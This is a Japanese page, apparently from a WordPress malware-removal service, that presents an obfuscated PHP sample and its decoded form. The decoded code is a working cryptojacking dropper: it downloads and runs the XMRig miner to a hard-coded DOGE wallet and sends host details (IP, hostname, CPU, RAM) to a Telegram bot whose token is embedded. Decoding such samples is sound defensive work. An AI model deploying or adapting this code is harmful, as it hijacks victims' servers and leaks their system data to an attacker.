PHP 難読化コードの復元・デコード

難読化されたPHPコード

<?php
$Mex = "\x53\x791\x4c\x7a\x4e\x46\x51\x4by\x7a\x4eL7G\x32\x560sv\x73\x59\x59w9\x59\x70\x4ci\x75\x4b\x4c\x38ks\x4d\x6aTXSq\x7a\x4c\x7a0\x6eI\x53\x53\x31K\x42\x72N\x4b85\x50\x7a\x63gqL\x55\x34\x6dL\x71\x43Cc\x6c\x46\x71\x65a\x6d\x63S\x6e\x70\x43\x62\x6e\x706Rq\x41\x4f0s\x53i\x33TU\x50FI\x72\x4e\x42\x45AtY\x41";
$Hax = "\x3d\x73\x69\x2f5\x38\x7931ju\x66d8\x75\x61\x36\x6b\x43\x36\x76\x4a\x32\x48l\x58\x33\x65\x78\x39\x656\x5a\x756\x42X\x6d\x4e\x65\x6a\x79\x6e\x49D\x6cdu\x49w\x4duY\x2bz\x79u\x65\x63P\x31Rao\x64jDh\x31Md\x38D\x37q\x61N\x79\x34\x37\x62\x67x\x68\x49\x4e\x6a6z\x6aFnyyq\x53\x38\x6bs\x37\x71\x67\x2b\x4f\x59\x36\x6eB1t\x39t\x4f\x70\x6eNf\x6c\x45m\x4aC\x5aQ\x6d\x68\x47\x51\x2bc\x75\x548\x47\x7aR\x2b\x65ar2\x67\x4b\x65\x71\x46\x37\x54\x4c\x37yxx\x46\x634\x32\x338\x61\x71n\x6dz1\x6cV\x58U\x4d\x42\x5378\x581BgvT\x46\x63\x33+\x57z\x38\x38zp6+tl\x4buH7T\x64\x69b\x68\x413Upd\x482\x62\x55\x76n\x69\x74\x55\x61\x30Fq\x42\x4e\x32\x522l\x65W\x6dN\x4ff6\x7ar\x38\x79\x44R\x66gr\x6cE\x39\x3423\x57\x532\x4d\x4d\x61C\x72\x59\x50\x47\x75\x33\x32\x47UT\x4b\x4elo\x61\x660\x7a\x47\x4f\x2b\x74+\x4bj\x74\x75Jc\x71\x6a\x78\x6d\x35k\x30\x77l\x73\x4fn\x6f\x4dM\x74\x61\x329Cb\x36\x4c\x69\x30g\x7a\x38\x34\x58D\x7a\x34\x61\x6b8pn\x70k\x329\x46\x63g5\x2f+v\x77j3b5jT\x58h\x63\x77\x4b\x46\x56j\x55\x47\x78w\x53\x42T\x76\x75\x74+\x78\x54\x68Lf\x73A\x4f\x6e\x32\x395\x50\x6a\x79\x542R\x481\x66Mr\x70\x4c\x6a\x6d\x4a\x30\x53\x7a\x4f\x4d\x32\x36f\x76o\x75E\x73\x76x\x36\x51D\x4e\x38\x45y\x76k\x50Z\x2b/\x51\x655\x71\x34\x73\x50\x44u\x358\x6a\x35/\x53\x66\x63\x5aDX\x78\x4f1J\x48\x54\x61\x57\x4dL\x6d\x2b\x31\x4d\x4f\x4afN\x65\x47\x33p/J\x7976\x4c\x57\x4fz\x53\x47\x63\x54\x49\x43\x4ez\x76\x46\x50\x71\x4d\x38\x68\x33\x36\x68\x73\x6a\x4f\x2fl\x4aTjQ0\x695W\x71\x54\x4dEV6\x45ye\x776x6\x63\x6d\x4ejn\x35\x43\x73\x59\x5a\x6d\x4b\x48F\x74f\x34\x42\x42h\x34\x57\x31\x42\x4bf\x4cF\x6f\x63\x35\x4dM\x47\x72\x57\x6cZoJ\x53\x73\x68\x4d\x77x\x51\x75\x75\x46\x77\x4cp\x31hNB\x46E\x46\x4bj\x2b\x4c\x49/\x69\x38\x61b\x53+\x43\x35\x73\x53l\x4cq\x39c\x79\x4f\x4e\x6d\x58u\x76\x56\x78K\x59Q\x5a0\x72\x59Jf\x6b\x4d4\x71C\x76\x45A\x55r\x57p\x74X1ubU\x77\x62\x6e\x46\x70\x6c\x38\x42\x59h/\x32r\x342v\x55\x4bNe\x45\x70\x6d\x67\x57\x44ut\x57x\x64\x50T\x6aYQ\x48\x62\x50\x42\x33\x6c\x31\x50\x4f\x69\x33bDiS\x43\x77T\x4b4\x6e\x48iBU1\x6cz\x50\x32\x44fN\x45\x4f\x65\x455qemH\x563g\x564r\x436\x645\x6c\x53\x452+Ouj\x75H6gQd\x2b\x30SE\x7aZX\x6b\x4ba\x7a\x51\x69iA\x70\x6b\x38\x38n\x6dN\x2b\x74\x2f\x70\x4b3t\x46l\x47\x451\x42K\x51t\x72\x70\x4bB\x79j\x75\x68\x594m\x63d\x4d\x6e/q\x65M\x7aUr\x31\x43E\x42\x7aX\x783\x72\x44AL\x4cRL\x56b\x67\x62\x65h\x51c\x2fb\x4cN\x6cX\x6c\x36\x6e\x51\x38BU\x479\x56mv\x76v\x65T0\x312\x6b\x5aw\x755\x61\x61\x62b\x42\x70h\x4d\x61/S\x59\x6a\x4eE\x62\x67\x4b\x32\x68\x61\x59\x695h\x4f\x57U\x55l\x69\x43KTPP\x79\x79\x758eh\x74\x6f\x4d\x34\x70\x48\x65\x75Q\x77\x6f\x69n\x525\x660\x4c\x63\x67\x4d\x58pS\x39VM\x32\x69px\x57\x54YKN\x66\x6dTi\x5aJ\x71G\x4b\x55\x63z\x38idU\x43\x54\x45e\x6f1\x46\x31\x4bZ\x74n\x53\x41v\x79\x62q\x47\x56\x46\x4f\x4d\x76\x35kAD\x2b\x77\x48\x42J\x6c\x4bzQ\x505P\x47\x6f0\x76\x36XRh\x4e\x70\x57H7\x55\x4d\x35\x77ri\x52\x49\x69k\x58\x36\x41\x66\x2f\x6b\x65\x48\x55J\x49\x69\x67\x65\x6c\x34\x6d\x6c\x73\x4f\x54\x77\x48hZS\x6dN\x39\x38f\x63\x76A+\x55o\x2b\x46\x2bA\x4b\x33Zc\x53\x51OX\x74\x55\x46\x523Z\x6f\x2b\x4f\x79\x54\x37\x30\x30\x55\x46\x6f\x71SQ\x6bFK0\x52\x6f\x55\x59h\x73\x4aR\x4c\x74\x6eJ\x43\x59\x4f\x41\x2fA\x6e\x52\x413tny\x5alq\x4a\x58\x48R\x62\x45wp\x71bH\x65\x71VVm\x51\x45\x51Hi7yR\x37\x49\x4b\x53+mLy\x6b\x618\x52O\x51\x52\x718xhW\x62\x78Up29\x32\x547p\x6f\x77npO\x68\x4a\x58jL\x32\x31CG\x4c\x35\x7aZq3\x37E\x33o\x4aU\x45\x6b\x76IeXz\x720\x4eQ\x32+\x56\x55\x6d\x4b\x6f\x68D\x68dM\x75\x4e\x70\x6d\x75\x4e\x6c\x375\x6c\x51\x57\x42\x74\x32JU\x4a\x36\x53\x49\x58\x4e\x4cu\x4b\x31\x46\x72\x33/\x79Nt\x67Dq\x2f\x69\x58\x72\x4b\x48\x59RZ\x43\x37q\x77ckG\x5a\x73\x58\x57\x71j\x67\x4a\x65S\x63\x49\x68ozA\x78JJPD\x47B\x4c\x59g\x51\x4b\x59\x75\x51m\x6dD\x54\x56\x69\x6at\x4aWm\x70M\x74\x34\x70W\x71\x52\x47eh\x2bJ8\x32FX\x6e\x52\x6f\x585\x61\x52\x6d\x69\x47\x39\x56TrDs9Fj\x30\x65F\x2b\x4eyZ\x56D7T\x4e1\x62C\x47\x45\x39\x74\x36WCbcVt\x619\x676\x69gBOhXG\x53f\x32\x6f\x54WYAU\x67\x7a4\x57\x6d\x2b\x65\x377n\x67\x6c4\x35\x53\x6f\x4ba\x2b\x4d\x55\x56\x4d\x68\x43\x5a\x65\x52w\x56\x4c\x45\x58\x54J\x651\x48ewd\x37\x7aZcW\x4fP\x4c\x78\x43\x6bTt\x2f/\x690\x53\x33\x794\x73\x68ZV\x4bg\x2f+h\x7a\x54\x6fs\x313w+n\x33\x51\x62\x68\x2f\x7a\x59\x32PhZ\x38g\x36T\x56\x2b\x64J\x66\x32\x74+\x38\x36\x4e\x73\x31\x35\x6a\x71\x70\x66y\x5a\x6a\x2bW0\x2fS\x48Je\x39\x39\x76\x78N\x43\x511N\x55Y\x4a\x34\x38\x56\x4bo\x59\x5a\x74MR\x50vZ\x4e\x48\x34\x58\x30F\x4b1\x72\x51\x6c\x67\x36mry\x63\x5a\x49\x79\x50P6T\x42\x73\x55\x69k\x54\x514\x34\x62\x4fp\x77\x2b\x2f9\x75\x37\x35/\x37\x72\x56oNR\x53\x793\x4a9\x6b\x78\x52\x79\x74\x32\x55d+leD8\x4d\x4b\x49\x38\x4b\x5ak\x51q8vcs\x4eH\x57\x4aN\x67\x70\x69h4\x32\x79S\x4c6\x36\x73\x72\x31\x6e\x62OTtV\x30\x4c\x4dU\x71cez\x39E4\x6e\x434B\x72\x59\x74L\x33\x74T2yK\x63oW\x52rE\x6fGAH\x4f\x45O\x45\x42\x51\x51\x42\x34\x53\x73\x6e\x78bo8\x70S\x6fr\x76\x4c\x58T\x7a\x44\x77\x73\x52eE\x68D\x62\x779\x4e\x38\x4f\x4cz\x34j\x76\x52\x34\x4ax8\x6c\x57\x6c\x76\x6d\x6c\x44\x71x\x66\x573\x70A\x49\x64\x61\x65pB/\x39\x31\x56\x62\x53v\x57\x50\x6b\x36\x78\x50\x61\x47N\x6d\x6b\x75\x30\x77\x48b\x72\x4aFy\x76\x6a\x6c\x34Q\x49\x43\x73g\x31\x46\x74\x7a\x42\x524FQb\x6b\x77ER\x58\x4a4/\x2f\x72\x62\x6a\x63Q7\x72\x31\x72E\x67U\x79\x4f\x5az\x4aZ\x62\x719X\x6a\x34\x77\x41t+\x42D\x47+\x34\x68Zt1m\x39\x34\x6bUp\x6e\x630x\x61\x63\x71l\x69C4\x49\x32\x66\x69TZbp\x6bX\x58c9\x4cvI\x37Ma6\x62\x54\x54\x76\x54a\x70\x6dGrp\x4bl\x33\x43\x58\x6b\x36\x49\x71\x6fwG9\x47/\x4b\x56m\x6f\x4b\x76\x4bX\x72S\x62\x51\x49\x4e\x31\x6a\x6b\x58\x35\x6eNxq\x6bpU4XZ\x763\x67Cqj\x6br\x76+h\x42\x6b\x57\x70A\x78U\x68\x6co\x4f\x31\x69\x78w\x77A\x58\x58\x70M\x4b/yAT\x4d\x6bwZh\x50Gk\x61\x37hz\x2fjRs3x\x51\x77D\x63tk\x34\x71\x66h\x65Q\x627w\x4f\x79Zic+dt\x37d\x67tO\x32\x65\x6b\x32\x748\x49B\x43pQC\x65yD\x70\x56\x75\x6d\x37\x48\x66\x35\x35\x361q4\x70B\x37\x4aV\x69\x59\x697\x528J\x58lt\x7a\x36j\x4f\x4a\x33\x33xBX\x63\x2b+F\x48t\x55\x46\x63\x37OO6\x307\x77\x70A\x52\x68\x55\x41f\x32\x6a\x2f\x71\x43N\x72\x36\x79\x31\x72\x41\x36\x59\x42\x6f0Uy\x36Oj\x65\x6dv\x59\x62R\x72\x61\x56h\x62gZ\x74\x31N\x30l\x39Hf\x6fO\x319l\x626\x68\x7a\x75\x2fc\x30F\x48\x6a\x62\x72eN\x4d\x42\x564\x461\x7ao\x77\x4e\x525+QK\x67\x7a8t\x33\x51zt\x79\x66\x38\x4a\x52cJ\x63\x61\x6f\x6dc\x55Pnc\x69\x49\x4f\x63\x43\x6ev\x48\x54\x74\x560E9d\x38\x2b\x42\x6eR\x67T\x45\x63\x2b\x51Y\x47\x77xGnd2\x635\x74\x76\x48\x38e\x326\x34A\x66\x755\x35x\x72hp\x68N\x72\x52\x53\x4a/\x55\x75\x47\x79\x6f\x42\x45+\x67T\x49\x4b\x36\x68XN\x71e\x75\x4d\x36Zc\x35S\x65Yt\x525\x38\x42\x30\x39\x6f\x2f\x2f3\x75\x398D0J\x74\x64\x52f\x4f\x75s\x38\x39bv\x37\x77D3\x58\x52\x48\x2f\x37\x36c\x38yl\x58/\x66\x72\x6a\x7a\x32q\x54\x63\x57ml2\x55\x68d\x54r\x4d\x31\x78A\x69\x64\x62\x76qc\x57m\x58\x39\x71VF\x72\x2b\x514l\x57u\x79zeL\x6e\x35Z\x55K\x35\x72i\x59YlZ\x42\x6dv\x50\x6dg\x38\x55\x6c3Hx\x75\x4ck9vo4B68\x6b\x7a\x32\x35BH\x63\x31\x4a\x47j\x45Xzqu\x62\x56WS\x70z\x75\x64\x56r\x551\x30\x30\x49w\x3067\x67\x63H\x48JFVh\x74\x32\x66\x66\x6a\x64Pu\x39G\x62\x76\x5aK\x49\x46\x5aU\x55\x4buUK\x62\x50\x73\x5a\x66\x38\x430j\x32s\x50\x74\x64\x77nn\x6e\x42o\x33\x4eP\x39\x79\x64v\x66\x62TS\x4c\x2f3\x50\x384\x6a\x64\x703z\x48\x71\x77\x4f7zb\x56\x30rD\x48\x386xd\x50fYz\x6aYZ\x42\x67\x39\x51\x38\x66\x53\x35e\x57M\x34\x7a\x4dK\x58xKruI\x31\x33UI\x53\x2b\x64\x41\x6b\x64/A0D\x4cs\x75\x33\x61\x37\x6f1\x68mL\x45\x31\x4d\x33\x6b\x54lu\x63\x47\x53\x58\x59R\x7a\x67PuvR\x7a\x35\x4cX\x6dz\x745x\x52\x30\x50UtA\x61\x32\x61\x706\x6fs\x59\x6do\x66U3Cs\x50P\x36HA\x39\x51\x6c\x41\x74+\x78mW\x49\x5a\x68\x69\x46\x52\x71\x41\x2fB\x43gNJ\x51\x79\x52\x4f\x52\x69\x63g\x6f\x7a\x4b\x46\x4fn\x79\x45k\x4cX\x37\x61\x6eOq\x74xn21\x79\x6a\x46\x72\x46\x57ic\x33\x72\x2f\x6dk\x61\x53o\x70IoE\x63\x76\x448b+\x58\x68\x78\x6a72\x36\x591\x4d\x2b\x63\x63\x774B\x77J\x654\x48xB\x75H\x41+Mc\x77\x38\x42\x77Je\x34HwB\x2b\x48w9\x38\x6awAB\x77\x4a\x653HP\x43\x4fE\x77\x39sjw\x45\x42\x77\x4ae";
eval(htmlspecialchars_decode(gzinflate(base64_decode($Mex))));
exit;
?>

デコード(難読化解除)されたコード

<?php

$Mex = "Sy1LzNFQKyzNL7G2V0svsYYw9YpLiuKL8ksMjTXSqzLz0nISS1KBrNK85PzcgqLU4mLqCCclFqeamcSnpCbnp6RqAO0sSi3TUPFIrNBEAtYA";
$Hax = "=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";
eval {
    set_time_limit(0);
    error_reporting(0);
    $telegram_token = "8187257282:AAHmkWwTzDD9-d1YF6FX0wpmT5NClukK--0";
    $telegram_chatid = "1303861906";
    $uname = php_uname('n');
    $whoami = "WHOOTAUTO";
    $core_count = intval(trim(shell_exec("nproc")));
    $core_count = $core_count > 0 ? $core_count : 1;
    $wallet = "D6ZdEQYeX6iMLXyFW4oAu3dpbXAyJj6fan";
    $run_cmd = "./xmrig -o stratum+ssl://rx.unmineable.com:443 -a rx -k -u DOGE:D6ZdEQYeX6iMLXyFW4oAu3dpbXAyJj6fan.WHOOTAUTO --cpu-max-threads-hint=100";
    $current_url = isset($_SERVER['HTTPS']) && $_SERVER['HTTPS'] === 'on' ? "https" : "http";
    $current_url .= "://{$_SERVER['HTTP_HOST']}{$_SERVER['REQUEST_URI']}";
    $base_dir = "/var/www";
    $check_dirs = ['tmp', 'www', 'mail'];
    $custom_dir = "/var/www/html/blog";
    $folder = null;
    foreach ($check_dirs as $d) {
        $try = $base_dir . '/' . $d;
        if (is_dir($try) && is_writable($try)) {
            $folder = $try;
            break;
        }
    }
    if (!$folder) {
        if (!is_dir($custom_dir)) {
            mkdir($custom_dir, 0755, true);
        }
        if (!is_writable($custom_dir)) {
            die("<pre>❌ Tidak bisa menulis ke {$custom_dir}</pre>");
        }
        $folder = $custom_dir;
        echo "<pre>📂 Folder fallback: {$folder}\n";
    } else {
        echo "<pre>📂 Menggunakan folder: {$folder}\n";
    }
    chdir($folder);
    exec("pgrep -f xmrig", $already_running);
    $folder_name = "xmrig-6.21.0";
    $xmrig_folder_path = $folder . '/' . $folder_name;
    if (!empty($already_running) && is_dir($xmrig_folder_path)) {
        echo "⚠️ XMRig sudah berjalan. Tidak dijalankan ulang.\n</pre>";
        $message = "⚠️ <b>XMRig sudah berjalan</b>\n" . "🖥️ Hostname: <code>{$uname}</code>\n" . "🧠 Core: {$core_count}\n" . "📁 Folder: {$xmrig_folder_path}\n" . "📛 PID(s): " . implode(", ", $already_running) . "\n" . "🔗 <b>Script URL</b>: <a href=\"{$current_url}\">Open Script</a>";
        sendTelegram($telegram_token, $telegram_chatid, $message);
        exit;
    }
    if (!is_dir($xmrig_folder_path) && !empty($already_running)) {
        echo "⚠️ Folder hilang, tapi proses masih hidup. Melakukan setup ulang...\n";
    }
    echo "⬇️ Mengunduh XMRig...\n";
    $remote_url = "https://github.com/xmrig/xmrig/releases/download/v6.21.0/xmrig-6.21.0-linux-x64.tar.gz";
    $filename = "xmrig.tar.gz";
    $success = false;
    if (shell_exec("which wget")) {
        exec("wget -q -O xmrig.tar.gz https://github.com/xmrig/xmrig/releases/download/v6.21.0/xmrig-6.21.0-linux-x64.tar.gz");
        $success = file_exists($filename);
    }
    if (!$success) {
        exec("curl -s -L -o {$filename} {$remote_url}");
        $success = file_exists($filename);
    }
    if (!$success) {
        die("❌ Gagal mengunduh file XMRig.\n</pre>");
    }
    echo "✅ File diunduh: {$filename}\n";
    echo "📦 Mengekstrak...\n";
    exec("tar -xf {$filename}");
    if (!is_dir($folder_name)) {
        die("❌ Ekstraksi gagal.\n</pre>");
    }
    echo "✅ Ekstraksi berhasil: {$folder_name}\n";
    chdir($xmrig_folder_path);
    echo "🧠 Jumlah core CPU: {$core_count}\n";
    if (shell_exec("which nohup")) {
        $cmd = "nohup {$run_cmd} > /dev/null 2>&1 &";
        echo "🚀 Menjalankan dengan: nohup\n";
    } elseif (shell_exec("which setsid")) {
        $cmd = "setsid {$run_cmd} > /dev/null 2>&1 &";
        echo "🚀 Menjalankan dengan: setsid\n";
    } else {
        $cmd = "{$run_cmd} > /dev/null 2>&1 &";
        echo "🚀 Menjalankan dengan: background (&)\n";
    }
    exec($cmd);
    exec("pgrep -fl xmrig", $procs);
    if (!empty($procs)) {
        echo "✅ Proses XMRig berjalan:\n" . implode("\n", $procs) . "\n</pre>";
        $ram_info = trim(shell_exec("free -h | grep Mem | awk '{print \$2 \" (used: \" \$3 \", free: \" \$4 \")\"}'"));
        $cpu_cores = trim(shell_exec("lscpu | grep '^CPU(s):' | awk '{print \$2 \" cores\"}'"));
        $cpu_threads = trim(shell_exec("lscpu | grep '^Thread(s) per core:' | awk '{print \$4 \" threads/core\"}'"));
        $uname_info = trim(shell_exec("uname -a"));
        $ip_info = trim(shell_exec("hostname -I | awk '{print \$1}'"));
        $message = "✅ <b>XMRig dijalankan sukses</b>\n" . "🖥️ <b>Hostname</b>: <code>{$uname}</code>\n" . "🧠 <b>CPU</b>: {$core_count} core(s)\n" . "🧪 <b>Info</b>: {$cpu_cores} | {$cpu_threads}\n" . "📦 <b>RAM</b>: {$ram_info}\n" . "👤 <b>User</b>: {$whoami}\n" . "🌐 <b>IP</b>: {$ip_info}\n" . "🔧 <b>System</b>: <code>{$uname_info}</code>\n\n" . "⛏️ <b>Process</b>:\n<code>" . implode("\n", $procs) . "</code>\n\n" . "🔗 <b>Script URL</b>: <a href=\"{$current_url}\">Open Script</a>";
        sendTelegram($telegram_token, $telegram_chatid, $message);
    } else {
        echo "❌ Gagal menjalankan XMRig.\n</pre>";
    }
    function sendTelegram($token, $chatid, $msg)
    {
        $url = "https://api.telegram.org/bot{$token}/sendMessage";
        $data = http_build_query(['chat_id' => $chatid, 'text' => $msg, 'parse_mode' => 'HTML']);
        $opts = ['http' => ['method' => 'POST', 'header' => "Content-Type: application/x-www-form-urlencoded", 'content' => $data]];
        file_get_contents($url, false, stream_context_create($opts));
    }
};
exit;

■【無料】ワードプレス:マルウェアスキャン＆セキュリティープラグイン [マルウェア・ウィルス検出と駆除]

■WordPress のマルウェア駆除、セキュリティー対策 カスタマイズや修正、引っ越し・復旧のご依頼承ります

（C）2019 ワードプレス ドクター All rights reserved.